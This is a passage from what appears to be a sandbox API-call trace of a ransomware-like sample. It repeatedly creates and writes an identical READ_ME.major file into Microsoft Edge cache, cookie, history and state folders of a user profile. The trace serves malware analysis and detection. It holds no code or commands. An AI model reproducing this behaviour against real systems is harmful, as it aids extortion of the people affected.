RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be268 [0208.532] SetLastError (dwErrCode=0x12) [0208.532] GetLastError () returned 0x12 [0208.532] SetLastError (dwErrCode=0x12) [0208.532] GetLastError () returned 0x12 [0208.532] SetLastError (dwErrCode=0x12) [0208.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0208.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be948 [0208.533] SetLastError (dwErrCode=0x12) [0208.533] GetLastError () returned 0x12 [0208.533] SetLastError (dwErrCode=0x12) [0208.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0208.533] SetLastError (dwErrCode=0x12) [0208.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b28 [0208.533] SetLastError (dwErrCode=0x12) [0208.533] GetLastError () returned 0x12 [0208.533] SetLastError (dwErrCode=0x12) [0208.533] GetLastError () returned 0x12 [0208.533] SetLastError (dwErrCode=0x12) [0208.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0208.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0208.533] SetLastError (dwErrCode=0x12) [0208.533] GetLastError () returned 0x12 [0208.533] SetLastError (dwErrCode=0x12) [0208.533] GetLastError () returned 0x12 [0208.533] SetLastError (dwErrCode=0x12) [0208.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0208.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb58 [0208.534] SetLastError (dwErrCode=0x12) [0208.534] GetLastError () returned 0x12 [0208.534] SetLastError (dwErrCode=0x12) [0208.534] GetLastError () returned 0x12 [0208.534] SetLastError (dwErrCode=0x12) [0208.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656cb8 [0208.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a10 [0208.534] SetLastError (dwErrCode=0x12) [0208.534] GetLastError () returned 0x12 [0208.534] SetLastError (dwErrCode=0x12) [0208.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0208.534] SetLastError (dwErrCode=0x12) [0208.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0208.534] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d4 [0208.555] WriteFile (in: hFile=0x16d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.556] CloseHandle (hObject=0x16d4) returned 1 [0208.556] SetLastError (dwErrCode=0x0) [0208.556] GetLastError () returned 0x0 [0208.556] SetLastError (dwErrCode=0x0) [0208.556] GetLastError () returned 0x0 [0208.556] SetLastError (dwErrCode=0x0) [0208.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656920 [0208.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656da8 [0208.556] SetLastError (dwErrCode=0x0) [0208.556] GetLastError () returned 0x0 [0208.557] SetLastError (dwErrCode=0x0) [0208.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0208.557] SetLastError (dwErrCode=0x0) [0208.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0208.557] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d4 [0208.558] WriteFile (in: hFile=0x16d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.559] CloseHandle (hObject=0x16d4) returned 1 [0208.559] SetLastError (dwErrCode=0x0) [0208.559] GetLastError () returned 0x0 [0208.559] SetLastError (dwErrCode=0x0) [0208.559] GetLastError () returned 0x0 [0208.559] SetLastError (dwErrCode=0x0) [0208.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a60 [0208.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656c90 [0208.559] SetLastError (dwErrCode=0x0) [0208.559] GetLastError () returned 0x0 [0208.559] SetLastError (dwErrCode=0x0) [0208.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60de60 [0208.559] SetLastError (dwErrCode=0x0) [0208.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0208.560] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d4 [0208.560] WriteFile (in: hFile=0x16d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.561] CloseHandle (hObject=0x16d4) returned 1 [0208.562] SetLastError (dwErrCode=0x0) [0208.562] GetLastError () returned 0x0 [0208.562] SetLastError (dwErrCode=0x0) [0208.562] GetLastError () returned 0x0 [0208.562] SetLastError (dwErrCode=0x0) [0208.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656d30 [0208.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ce0 [0208.562] SetLastError (dwErrCode=0x0) [0208.562] GetLastError () returned 0x0 [0208.562] SetLastError (dwErrCode=0x0) [0208.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0208.562] SetLastError (dwErrCode=0x0) [0208.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0208.562] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d4 [0208.563] WriteFile (in: hFile=0x16d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.564] CloseHandle (hObject=0x16d4) returned 1 [0208.565] SetLastError (dwErrCode=0x0) [0208.565] GetLastError () returned 0x0 [0208.565] SetLastError (dwErrCode=0x0) [0208.565] GetLastError () returned 0x0 [0208.565] SetLastError (dwErrCode=0x0) [0208.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ab0 [0208.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656dd0 [0208.565] SetLastError (dwErrCode=0x0) [0208.565] GetLastError () returned 0x0 [0208.565] SetLastError (dwErrCode=0x0) [0208.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e428 [0208.565] SetLastError (dwErrCode=0x0) [0208.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656dd0 [0208.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ad8 [0208.565] SetLastError (dwErrCode=0x0) [0208.566] GetLastError () returned 0x0 [0208.566] SetLastError (dwErrCode=0x0) [0208.566] GetLastError () returned 0x0 [0208.566] SetLastError (dwErrCode=0x0) [0208.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0208.566] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d4 [0208.569] WriteFile (in: hFile=0x16d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.570] CloseHandle (hObject=0x16d4) returned 1 [0208.571] SetLastError (dwErrCode=0x0) [0208.571] GetLastError () returned 0x0 [0208.571] SetLastError (dwErrCode=0x0) [0208.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0208.571] SetLastError (dwErrCode=0x0) [0208.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ab0 [0208.571] SetLastError (dwErrCode=0x0) [0208.571] GetLastError () returned 0x0 [0208.571] SetLastError (dwErrCode=0x0) [0208.571] GetLastError () returned 0x0 [0208.571] SetLastError (dwErrCode=0x0) [0208.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0208.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0208.571] SetLastError (dwErrCode=0x0) [0208.572] GetLastError () returned 0x0 [0208.572] SetLastError (dwErrCode=0x0) [0208.572] GetLastError () returned 0x0 [0208.572] SetLastError (dwErrCode=0x0) [0208.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656dd0 [0208.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656948 [0208.572] SetLastError (dwErrCode=0x0) [0208.572] GetLastError () returned 0x0 [0208.572] SetLastError (dwErrCode=0x0) [0208.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0208.572] SetLastError (dwErrCode=0x0) [0208.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6631b0 [0208.572] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d4 [0208.573] WriteFile (in: hFile=0x16d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.574] CloseHandle (hObject=0x16d4) returned 1 [0208.574] SetLastError (dwErrCode=0x12) [0208.574] GetLastError () returned 0x12 [0208.574] SetLastError (dwErrCode=0x12) [0208.575] GetLastError () returned 0x12 [0208.575] SetLastError (dwErrCode=0x12) [0208.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0208.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bec08 [0208.575] SetLastError (dwErrCode=0x12) [0208.575] GetLastError () returned 0x12 [0208.575] SetLastError (dwErrCode=0x12) [0208.575] GetLastError () returned 0x12 [0208.575] SetLastError (dwErrCode=0x12) [0208.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0208.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0208.575] SetLastError (dwErrCode=0x12) [0208.575] GetLastError () returned 0x12 [0208.575] SetLastError (dwErrCode=0x12) [0208.575] GetLastError () returned 0x12 [0208.575] SetLastError (dwErrCode=0x12) [0208.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a60 [0208.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a10 [0208.576] SetLastError (dwErrCode=0x12) [0208.576] GetLastError () returned 0x12 [0208.576] SetLastError (dwErrCode=0x12) [0208.576] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0208.576] SetLastError (dwErrCode=0x12) [0208.576] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0208.576] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d8 [0208.577] WriteFile (in: hFile=0x16d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.579] CloseHandle (hObject=0x16d8) returned 1 [0208.579] SetLastError (dwErrCode=0x0) [0208.579] GetLastError () returned 0x0 [0208.579] SetLastError (dwErrCode=0x0) [0208.579] GetLastError () returned 0x0 [0208.579] SetLastError (dwErrCode=0x0) [0208.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656998 [0208.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ba0 [0208.579] SetLastError (dwErrCode=0x0) [0208.579] GetLastError () returned 0x0 [0208.579] SetLastError (dwErrCode=0x0) [0208.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0208.579] SetLastError (dwErrCode=0x0) [0208.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0208.579] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d8 [0208.580] WriteFile (in: hFile=0x16d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.581] CloseHandle (hObject=0x16d8) returned 1 [0208.582] SetLastError (dwErrCode=0x0) [0208.582] GetLastError () returned 0x0 [0208.582] SetLastError (dwErrCode=0x0) [0208.582] GetLastError () returned 0x0 [0208.582] SetLastError (dwErrCode=0x0) [0208.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656dd0 [0208.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6568f8 [0208.582] SetLastError (dwErrCode=0x0) [0208.582] GetLastError () returned 0x0 [0208.582] SetLastError (dwErrCode=0x0) [0208.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0208.582] SetLastError (dwErrCode=0x0) [0208.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0208.582] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d8 [0208.584] WriteFile (in: hFile=0x16d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.585] CloseHandle (hObject=0x16d8) returned 1 [0208.585] SetLastError (dwErrCode=0x0) [0208.585] GetLastError () returned 0x0 [0208.585] SetLastError (dwErrCode=0x0) [0208.585] GetLastError () returned 0x0 [0208.585] SetLastError (dwErrCode=0x0) [0208.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656948 [0208.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656c68 [0208.585] SetLastError (dwErrCode=0x0) [0208.585] GetLastError () returned 0x0 [0208.585] SetLastError (dwErrCode=0x0) [0208.586] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60de60 [0208.586] SetLastError (dwErrCode=0x0) [0208.586] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6631b0 [0208.586] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d8 [0208.586] WriteFile (in: hFile=0x16d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.587] CloseHandle (hObject=0x16d8) returned 1 [0208.588] SetLastError (dwErrCode=0x0) [0208.588] GetLastError () returned 0x0 [0208.588] SetLastError (dwErrCode=0x0) [0208.588] GetLastError () returned 0x0 [0208.588] SetLastError (dwErrCode=0x0) [0208.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6568f8 [0208.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b28 [0208.588] SetLastError (dwErrCode=0x0) [0208.588] GetLastError () returned 0x0 [0208.588] SetLastError (dwErrCode=0x0) [0208.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0208.588] SetLastError (dwErrCode=0x0) [0208.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ba0 [0208.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656948 [0208.588] SetLastError (dwErrCode=0x0) [0208.588] GetLastError () returned 0x0 [0208.588] SetLastError (dwErrCode=0x0) [0208.588] GetLastError () returned 0x0 [0208.588] SetLastError (dwErrCode=0x0) [0208.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6631b0 [0208.589] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d8 [0208.589] WriteFile (in: hFile=0x16d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.590] CloseHandle (hObject=0x16d8) returned 1 [0208.591] SetLastError (dwErrCode=0x0) [0208.591] GetLastError () returned 0x0 [0208.591] SetLastError (dwErrCode=0x0) [0208.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0208.591] SetLastError (dwErrCode=0x0) [0208.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a10 [0208.591] SetLastError (dwErrCode=0x0) [0208.591] GetLastError () returned 0x0 [0208.591] SetLastError (dwErrCode=0x0) [0208.591] GetLastError () returned 0x0 [0208.591] SetLastError (dwErrCode=0x0) [0208.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0208.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bebb0 [0208.591] SetLastError (dwErrCode=0x0) [0208.591] GetLastError () returned 0x0 [0208.592] SetLastError (dwErrCode=0x0) [0208.592] GetLastError () returned 0x0 [0208.592] SetLastError (dwErrCode=0x0) [0208.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656948 [0208.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6569c0 [0208.592] SetLastError (dwErrCode=0x0) [0208.592] GetLastError () returned 0x0 [0208.592] SetLastError (dwErrCode=0x0) [0208.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0208.592] SetLastError (dwErrCode=0x0) [0208.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6631b0 [0208.592] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16d8 [0208.593] WriteFile (in: hFile=0x16d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0208.594] CloseHandle (hObject=0x16d8) returned 1 [0208.594] SetLastError (dwErrCode=0x12) [0208.594] GetLastError () returned 0x12 [0208.594] SetLastError (dwErrCode=0x12) [0208.595] GetLastError () returned 0x12 [0208.595] SetLastError (dwErrCode=0x12) [0208.595] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0208.595] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be688 [0208.595] SetLastError (dwErrCode=0x12) [0208.595] GetLastError () returned 0x12 [0208.595] SetLastError (dwErrCode=0x12) [0208.595] GetLastError () returned 0x12 [0208.595] SetLastError (dwErrCode=0x12) [0208.595] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0208.595] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be738 [0208.595] SetLastError (dwErrCode=0x12) [0208.595] GetLastError () returned 0x12 [0208.595] SetLastError (dwErrCode=0x12) [0208.595] GetLastError () returned 0x12 [0208.595] SetLastError (dwErrCode=0x12) [0208.595] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656cb8 [0208.595] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656970 [0208.595] SetLastError (dwErrCode=0x12) [0208.595] GetLastError () returned 0x12 [0208.595] SetLastError (dwErrCode=0x12) [0208.595] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0208.596] SetLastError (dwErrCode=0x12) [0208.596] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0208.596] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!006\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e8 [0210.124] WriteFile (in: hFile=0x13e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.124] CloseHandle (hObject=0x13e8) returned 1 [0210.125] SetLastError (dwErrCode=0x0) [0210.125] GetLastError () returned 0x0 [0210.125] SetLastError (dwErrCode=0x0) [0210.125] GetLastError () returned 0x0 [0210.125] SetLastError (dwErrCode=0x0) [0210.125] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ba0 [0210.125] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0210.125] SetLastError (dwErrCode=0x0) [0210.125] GetLastError () returned 0x0 [0210.125] SetLastError (dwErrCode=0x0) [0210.125] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0210.125] SetLastError (dwErrCode=0x0) [0210.125] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0210.125] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!006\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e8 [0210.126] WriteFile (in: hFile=0x13e8, 